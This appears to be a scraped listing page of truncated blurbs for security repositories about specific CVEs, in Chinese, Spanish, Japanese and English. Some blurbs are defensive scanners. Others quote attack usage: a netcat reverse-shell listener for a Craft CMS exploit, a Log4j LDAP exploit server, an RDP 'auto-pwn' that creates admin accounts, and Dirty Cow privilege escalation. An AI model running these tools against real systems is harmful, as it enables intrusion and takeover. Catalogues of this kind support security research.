CVE-2024-4040

此存储库没有 README。...

Node.js-CVE-2024-39943

Node.js HFS 命令执行漏洞 CVE-2024-39943 白帽学校第3期 – 鲁正民 @JenmrR 摘要 在基于 Node.js 的 HFS 服务器环境中，存在一个漏洞，该漏洞会将上传文件的内容通过 childprocess.execSync 执行。 攻击者可以通过文件上传功能直接执行操作系统命令，并可查看服务器内部命令结果或控制系统。 该漏洞对应 CVE-2024-39943，会产生与命令注入（远程代码执行）同等级别的威胁。 环境配置与运行 1. 通过 Docker 环境运行服务器 2. 服务器通过 /upload 路径接收文件上传，并将上传的文件内容直接作为命令执行 3...

CVE-2023-22551

CVE-2023-22551 Reproducir CVE-2023-22551...

Confluence-CVE-2021-26084

此存储库没有 README。...

apache-tomcat-log4j

Log4j2 CVE-2021-44228 漏洞概念验证（Apache Tomcat 环境） 预览 设置 启动 tomcat 服务器 root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat 提供利用类 root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

CVE-2024-24919

CVE-2024-24919 用法 用法: ./CVE-2024-24919.sh -i -p -f 使用 -i 指定 IP root@kitploit: ./CVE-2024-24919.sh -i 190.XXX.XXX.XXX 使用 -f 检查多个 IP root@kitploit: ./CVE-2024-24919.sh -f uniq.txt 文件示例 root@kitploit: 192.168.0.1 192.168.0.2 192.168.0.3 ... 192.168.0.20...

CVE-2021-21972

检查 CVE-2021-21972 CVE-2021-21972 vCenter-6.5-7.0 RCE POC...

ghost-checker

ghost-checker Prueba si estás expuesto a ghost CVE-2015-0235. Todo el crédito para Qualys Security Uso root@kitploit: /tmp/ghost-checker master$ make cc -o ghost ghost.c /tmp/ghost-checker master$ ./ghost not vulnerable /tmp/ghost-checker master$ make clean rm ghost Créditos Equipo de Seguridad d...

keypairvuln

keypair 漏洞密钥（CVE-2021-41117） 使用受 CVE-2021-41117 影响的 keypair JavaScript 库版本生成的密钥。 由于随机数生成器中的缺陷，该库生成某些密钥的概率更高。使用存在漏洞的版本生成此仓库中某个密钥的概率约为 70%。 t1 t1 包含 256 个最常见的密钥。生成其中之一密钥的概率约为 33%。 t2 t2 包含 71424 个密钥，这些密钥不如 t1 中的密钥常见，但出现频率仍然相对较高。生成其中之一密钥的概率约为 37%。 misc 此集合由 Hanno Böck 为 badkeys 项目创建。 本工作部分由...

CVE-2022-24637

CVE-2022-24637 Exploit corregido para CVE-2022-24637 xplt original: https://www.exploit-db.com/exploits/51026...

DjVuLibre-poc-CVE-2025-53367

1- 什么是 DJVU。 DjVu（发音为“déjà vu”）是一套压缩技术、一种文件格式以及一个软件平台，用于通过网络分发数字文档、扫描文档和高分辨率图像。 DjVu 文档下载和显示速度极快，并且在所有平台上看起来完全一样。对于数字文档，DjVu 可以被视为 PDF 和 PostScript 的优越替代品；对于扫描文档，是 TIFF（和 PDF）的替代品；对于照片和图片，是 JPEG 的替代品；对于大型调色板图像，是 GIF 的替代品。DjVu 是唯一一种实用的、用于在网络上分发高分辨率彩色扫描文档的 Web 格式。没有其他格式能与之媲美。 典型的 DjVu 文件大小如下： 二值扫描文...

Escalamiento-de-Privilegios-usando-el-Kernel-Exploit-Dirty-Cow

Dirty Cow CVE-2016-5195 提权 作者: Samuel García 学院: 4Geeks Academy 日期: 25/06/2025 描述 Dirty COW 是 Linux 内核（≤ 4.8.3）中的一个严重漏洞，允许本地攻击者通过竞争条件修改只读文件，从而将权限提升至 root。 目标 使用 Dirty Cow 漏洞模拟一次受控攻击，以： 验证内核的漏洞。 编译并传输漏洞利用程序。 在目标机器上执行并提升权限。 要求 目标机器: Ubuntu 16.04.1 内核 4.4.0-21-generic 受害者用户: student 密码: password123...

log4j-scan

1 Instrucciones de uso Herramienta de detección de vulnerabilidad RCE CVE-2021-44228 log4j 2.x, que envía una solicitud GET al enlace objetivo y utiliza dnslog para detectar si hay respuesta. root@kitploit: $ python3 log4j-scan.py -h Usage: python log4j-scan.py -u Options: -h, --help show this he...

Craft-CMS-Exploit

此 Python 脚本利用了 Craft CMS（一款流行的内容管理系统）的远程代码执行漏洞（CVE-2023-41892）。受影响版本为 4.0.0-RC1 至 4.4.14，允许攻击者远程执行任意代码，例如 PHP 反向 Shell。 使用方法 首先在另一个 shell 中启动 netcat 监听器： nc -nlvp 1234 然后检查您的 IP 地址并运行漏洞利用程序： python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb 祝您使用全新的反向 Shell 愉快地进行渗透！ 免责声明...

CVE-2024-22120-RCE

CVE-2024-22120 ToolKit Affected Version/s root@kitploit: 6.0.0 - 6.0.27 6.4.0 - 6.4.12 7.0.0alpha1 Credit https://x.com/mf0cuz https://support.zabbix.com/browse/ZBX-24505 https://packetstormsecurity.com/files/137454/Zabbix-3.0.3-Remote-Command-Execution.html Premise a low-privilege user Have...

log4j-detector

Log4-detector Scanner that detects vulnerable Log4J versions to help teams assess their exposure to CVE-2021-44228 CRITICAL, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832. Can search for Log4J instances by carefully examining the complete file-system, including all installed applications. It...

log4j-detector

Log4-detector 脆弱なLog4Jバージョンを検出するスキャナーで、チームが CVE-2021-44228（CRITICAL）、CVE-2021-45046、CVE-2021-45105、CVE-2021-44832 への曝露を評価するのに役立ちます。インストールされているすべてのアプリケーションを含む完全なファイルシステムを注意深く調べて、Log4Jインスタンスを検索できます。何層も深く隠されたLog4Jインスタンスも見つけられます。Linux、Windows、Mac、そしてJavaが動作するその他の環境でも動作します！ 目次 はじめに 使用例 その他の使用例 結果の理解...

lighty-sqlinj-demo

title: Ep4 - Vulnerabilidad Relacionada con Redes members: Ciro S. Costa Marcela Terakado date: 10 Nov, 2015 Vulnerabilidad relacionada: root@kitploit: CVE-2014-2323 1 was assigned to SQL injection bug. CVE-2014-2324 2 was assigned to the path traversal bug. Confirmación:...

RCE-CVE-2025-32710

RCE-CVE-2025-32710 Vulnerabilidad en los Servicios de Escritorio Remoto de Windows permite la ejecución remota de código root@kitploit: 💥 RDP Auto-Pwn RCE-CVE-2025-32710 Explotación Automática para Servicios RDP Vulnerables BlueKeep y Más Allá 🔓 Crea cuenta de administrador • 🪟 Activa RDP • 📶...

CVE-2017-5638_struts

我进一步扩展了 Scott Campbell 的脚本，使其变得更复杂 : 虽然“HTTPStrutsAttack”会阻止 100% 的侦察，但仍然有极小的可能性：如果扫描器命中了易受攻击的系统，即使我们阻止了扫描器，易受攻击的系统仍可能执行 HTTP 请求中包含的 wget 并运行恶意软件。由于我们并未阻止 wget URL 中的恶意软件下载 IP——该 IP 几乎总是与侦察 IP 不同。 因此，扩展后的脚本还会提取恶意软件下载 IP。 1. 生成以下通知： root@kitploit: redef enum Notice::Type += Attempt, MalwareURL,...